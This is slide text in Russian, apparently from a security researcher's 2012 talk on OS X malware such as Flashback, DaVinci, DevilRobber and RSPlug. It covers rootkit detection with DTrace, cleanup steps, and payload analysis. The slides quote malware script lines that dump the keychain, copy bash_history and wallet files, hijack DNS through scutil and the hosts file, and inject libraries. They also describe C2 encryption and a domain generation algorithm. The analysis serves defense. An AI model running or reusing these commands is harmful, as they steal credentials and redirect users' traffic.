  • 19. 3. Самозашита 3.1. Упаковка 3.2. Обфускация 3.3. Нежелательный софт 3.4. Rootkit Эксперимент: использование DTrace для просмотра sysent dtrace:::BEGIN { Чистая система table = (struct sysent *)(((uint64_t)&`nsysent) - ((uint64_t)sizeof(struct sysent) * `nsysent)); printf("nopenttt0x%p 0x%pn", Snow Leopard (long *)&`open, table[5].sy_call); sysent proc kext printf("getdirentriestt0x%p 0x%pn", (long *)&`getdirentries, table[196].sy_call); Lion printf("getdirentries64tt0x%p 0x%pn", sysent proc kext (long *)&`getdirentries64, table[344].sy_call); Mountain Lion printf("getdirentriesattrt0x%p 0x%pn", (long *)&`getdirentriesattr, table[222].sy_call); sysent proc kext }
  • 20. 3. Самозашита 3.1. Упаковка 3.2. Обфускация 3.3. Нежелательный софт 3.4. Rootkit Эксперимент: использование DTrace для просмотра sysent Процесс заражения BackDoor.DaVinci.1 1b22e4324f4089a166aae691dff2e636 0x00057FEE Ah56K->Ah57K
  • 21. 3. Самозашита 3.1. Упаковка 3.2. Обфускация 3.3. Нежелательный софт 3.4. Rootkit Эксперимент: использование DTrace для просмотра sysent Результат заражения Snow Leopard sysent proc kext Lion * sysent proc kext Mountain Lion ** sysent proc kext * Необходимы дополнительные изменения в коде установщика и основного модуля бэкдора. ** Ошибка в функции _findSymbolInFatBinary64.
  • 22. $ sudo dtrace -s /usr/bin/newproc.d ... 3. Самозашита 309 32b ./mac 3.1. Упаковка 311 32b /Users/lytic/Library/Preferences/ GARiiQ6c.app/2KExxk5s.ecH 3.2. Обфускация ... 3.3. Нежелательный софт 333 64b /sbin/kextload 3.4. Rootkit /Users/lytic/Library/Preferences/GARiiQ6c.app /Contents/Resources/6zvddOLP.h_k.kext ... Эксперимент: использование DTrace для обнаружения $ sudo kextunload /Users/lytic/Library/Preferences/GARiiQ6c.app скрытых процессов и файлов /Contents/Resources/6zvddOLP.h_k.kext (kernel) Kext com.apple.mdworker not found Лечение for unload request. Failed to unload com.apple.mdworker - (libkern/kext) not found. http://dtrace.org/blogs/ $ ls -al ~/Library/Preferences/G* ls: /Users/lytic/Library/Preferences/G*: newproc.d No such file or directory syscallbyproc.d $ ls -al ~/Library/Preferences/GARiiQ6c.app total 2776 filebyproc.d ... pathopens.d $ sudo rm -rf opensnoop ~/Library/Preferences/GARiiQ6c.app ...
  • 23. a) Скрипты для сбора данных 4. Полезная нагрузка #!/bin/bash 4.1. Кража паролей ... cp -R /Library/Keychains /.info/Library/ 4.2. Перехват трафика ... 4.3. RAT, APT, … security dump-keychain -d > s_dump.txt ... cat "$HOME/.bash_history" >> $D_FILE ... Mac.Opener ... /.bash_history ... Trojan.Merin/DevilRobber .../Bitcoin/wallet.dat ... .../1Password/1Password.agilekeychain ... BackDoor.Wirenet ... b) Программная реализация Thunderbird, SeaMonkey, Firefox, Chrome, Chromium, Opera, Pidgin, …
  • 24. a) Подмена настроек 4. Полезная нагрузка #!/bin/bash ... 4.1. Кража паролей /usr/sbin/scutil << EOF 4.2. Перехват трафика open d.init 4.3. RAT, APT, … d.add ServerAddresses * $s1 $s2 set State:/Network/Service/$PSID/DNS ... Trojan.RSPlug/DnsChange #!/bin/sh ... Trojan.Hosts echo '91.224.160.26 google.com' | tee -a /private/etc/hosts BackDoor.Flashback ... ... b) Перехват функций DYLD_INSERT_LIBRARIES ~/Library/Preferences/Preferences.dylib
  • 25. Core: 4. Полезная нагрузка … IPC: 4.1. Кража паролей 0x1 File XPC Service 0x40 KeyLog Shared Memory 4.2. Перехват трафика 0x140 Call /tmp/launchch-%d 0x180 Url 4.3. RAT, APT, … 0x200 Calendar 0x200 AddressBook 0x240 Device 0x280 Mouse BackDoor.DaVinci 0x2C0 Crisis 0x1001 Messages Apple InputManager InputManager 0x1003 Calllist Events … InputManager 0x11 FileContent 0x1011 App 0x40 Keyboard 0x1220 Position 0x140 Audio 0xB9B9 Screenshot 0x180 URL 0xC2C2 Microphone 0x181 Snapshot 0xC6C6 Chat 0x280 Mouse 0xD9D9 Clipboard 0x2C0 Crisis 0xE9E9 Webcam 0x1011 Application 0xC6C6 SkypeChat Network 0xC6C6 Adium /dev/pfCPU 0xC6C6 MS Messenger Operation 0xD9D9 Clipboard Configuration Kext 32/64
  • 26. a) Использование FTP, IRC, ... 5. Коммуникация barney899@ftp.drivehq.com: 5.1. Передача данных 0x03171624_0x60ae9711_00000000.zip 18.11.12 0x6cea81c5_0x17ede460_0x1eab5346.zip 18.11.12 5.2. Генерация имен 0x45c94f11_0x236608e2_0x0201a8c0.zip 18.11.12 b) Шифрование трафика Trojan.Merin/DevilRobber BackDoor.Flashback BackDoor.Lamadai BackDoor.Wirenet BASE64(ZLIB(RC4(answ, MD5(UUID)))) BackDoor.DaVinci … c) Сессия соединения data = BID + SHA1(username) + 'OSX0000000000000' post = AES128CBC(RND1 + RND2 + data + SHA1(data + CKEY), SIGN) skey = SHA1(CKEY + AES128CBC(answ, SIGN) + RND1)
  • 27. a) Алгоритм генерации доменных имен 5. Коммуникация ...,{11:3:amZucQ==},{12:3:eGxvZQ==},{13:3:cnBkdA==},{14:3:YWVmYg==}, 5.1. Передача данных {15:3:b2N1bg==},{16:3:ZHBsdQ==},{17:3:amVjdg==},{18:3:a2RzZA==}, {19:3:bmV3bA==},{20:3:aGNsYQ==},{21:3:ZHFkbw==},{22:3:a3hwZw==}... 5.2. Генерация имен 19.11.2012 newljfnqxloe + org|.com|.co.uk|.cn|.in ... BackDoor.Flashback day1 = day ^ (day << 16); ... month1 = month ^ (month << 16); ... year1 = year ^ (year << 16); ... size = (((16 * (month1 & 0xF8) ^ ((month1 ^ 4 * month1) >> 25) ^ ((day1 ^ (day1 << 13)) >> 19)) ^ ((year1 ^ (8 * year1)) >> 11)) & 3)+13; ... 19.11.2012 fljcmiialsxtsk + .com|.net|.info|.in|.kz b) Валидация сервера
  • 28. OS X: About Gatekeeper http://support.apple.com/kb/HT5290 About file quarantine in OS X http://support.apple.com/kb/HT3662 XProtect.plist 19 ноября 2012 1) OSX.RSPlug.A 12) OSX.DevilRobber.A 2) OSX.Iservice.A 13) OSX.FlashBack.B 3) OSX.Iservice.B 14) OSX.DevilRobber.B 4) OSX.HellRTS 15) OSX.FlashBack.C 5) OSX.HellRTS 16) OSX.FileSteal.i 6) OSX.OpinionSpy 17) OSX.Revir.ii 7) OSX.MacDefender.A 18) OSX.Mdropper.i 8) OSX.MacDefender.B 19) OSX.FkCodec.i 9) OSX.QHost.WB.A 20) OSX.MaControl.i 10) OSX.Revir.A 21) OSX.Revir.iii 11) OSX.FlashBack.A 22) OSX.Revir.iv